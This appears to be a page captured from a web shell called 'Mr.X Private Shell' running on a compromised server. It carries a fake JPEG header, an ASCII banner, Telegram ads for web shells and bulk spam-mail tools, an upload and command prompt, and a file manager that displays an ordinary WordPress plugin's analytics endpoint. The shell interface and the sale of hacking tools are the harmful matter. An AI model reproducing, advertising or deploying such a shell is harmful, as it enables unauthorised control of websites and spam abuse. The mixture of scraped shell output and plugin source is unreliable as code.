����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

libcmfdw@216.73.216.202: ~ $
<?php

namespace EA11y\Modules\Analytics\Rest;

use EA11y\Classes\Logger;
use EA11y\Modules\Analytics\Classes\Route_Base;
use EA11y\Modules\Analytics\Database\Analytics_Entry;
use EA11y\Modules\Analytics\Database\Analytics_Table;
use EA11y\Modules\Settings\Classes\Settings;
use Throwable;
use WP_REST_Request;
use WP_REST_Response;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Events extends Route_Base {
	protected $auth = false;
	public string $path = 'events';

	public function get_methods(): array {
		return [ 'POST' ];
	}

	public function get_name(): string {
		return 'events';
	}

	/**
	 * @param WP_REST_Request $request
	 * @return WP_REST_Response
	 */
	public function POST( WP_REST_Request $request ): WP_REST_Response {

		try {
			$raw_data = $request->get_body();
			$events = json_decode( $raw_data, true );
			foreach ( $events as $item ) {
				if ( Analytics_Entry::validate_item( $item['event'] ) ) {
					$value = array_key_exists( 'value', $item ) ? sanitize_text_field( $item['value'] ) : null;
					$analytics_entry = new Analytics_Entry([
						'data' => [
							Analytics_Table::EVENT => $item['event'],
							Analytics_Table::VALUE => $value,
						],
					]);
					$analytics_entry->create();
				}
			}
		} catch ( Throwable $t ) {
			Logger::info( $t->getMessage() );
		}

		return new WP_REST_Response( null, 204 );
	}
}

Filemanager

Name Type Size Permission Actions
events.php File 1.36 KB 0644
statistic.php File 1.56 KB 0644